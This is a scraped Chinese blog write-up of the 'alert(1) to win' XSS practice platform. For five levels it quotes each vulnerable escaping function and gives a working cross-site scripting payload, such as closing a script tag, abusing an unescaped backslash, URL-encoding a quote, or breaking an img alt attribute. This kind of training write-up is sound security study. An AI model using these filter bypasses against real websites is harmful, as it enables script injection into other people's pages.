1. 程式人生 > >【alert(1) to win】不完全攻略

【alert(1) to win】不完全攻略

14. element PE win 一次 RM 處理 one pan

alert(1) to win

一個練習XSS的平臺,地址:https://alf.nu/alert1

Warmup(14)

給出了一段JavaScript代碼

function escape(s) {
  return ‘<script>console.log("‘+s+‘");</script>‘;
}

對s沒有任何校驗,payload

");alert(1);("

或者

");alert(1);//

技術分享圖片

Adobe (15)

代碼如下

function escape(s) {
  s = s.replace(/"/g, ‘\\"‘);
  return ‘<script>console.log("‘ + s + ‘");</script>‘;
}

全局替換了 " 為 \" ,就是說轉義了雙引號而沒有轉義轉義字符 \

payload如下

\");alert(1)//

技術分享圖片

JSON (27)

function escape(s) {
  s = JSON.stringify(s);
  return ‘<script>console.log(‘ + s + ‘);</script>‘;
}

使用了JSON.stringify()函數對s進行處理,該函數會對雙引號 " 和轉義字符 \ 進行轉義,沒有對 < > ‘ / 字符進行處理。

payload如下

)</script><script>alert(1)//

閉合括號然後閉合script標簽,創建一個新的script標簽來執行alert(1),//註釋掉多余的字符串

技術分享圖片

JavaScript (15)

function escape(s) {
  var url = ‘javascript:console.log(‘ + JSON.stringify(s) + ‘)‘;
  console.log(url);

  var a = document.createElement(‘a‘);
  a.href = url;
  document.body.appendChild(a);
  a.click();
}

這個有點意思,先上payload

%22);alert(1)//

url是放到a標簽的href屬性中執行的,href 屬性用於指定超鏈接目標的 URL,是支持URL編碼的,%22是雙引號 " 的URL編碼

構造出的a標簽為

<a href=javascript:console.log("%22);alert(1)//")></a>
a.click()執行的時候觸發了alert(1)

Markdown (31)

function escape(s) {
  var text = s.replace(/</g, ‘&lt;‘).replace(/"/g, ‘&quot;‘);
  // URLs
  text = text.replace(/(http:\/\/\S+)/g, ‘<a href="$1">$1</a>‘);
  // [[img123|Description]]
  text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, ‘<img alt="$2" src="$1.gif">‘);
  return text;
}

第一行代碼將所有 < " 字符進行了轉義

第二行是將形如 http://S+ 的字符串改寫為 <a href="http://S+">http://S+</a> (S+為匹配一個非空白字符一次或多次)

第三行將形如 [[a|b]] 的字符串改寫為 <img alt="b" src="a.gif">

先放出payload

[[a|http://onerror=alert(1)//]]

該函數構造的結果為

<img alt="<a href="http://onerror=alert(1)//" src="a.gif">">http://onerror=alert(1)//]]</a>

利用 // 來代替空格,href的起始 " 閉合alt的 ",在於 // 註釋掉最後的 "

技術分享圖片

【alert(1) to win】不完全攻略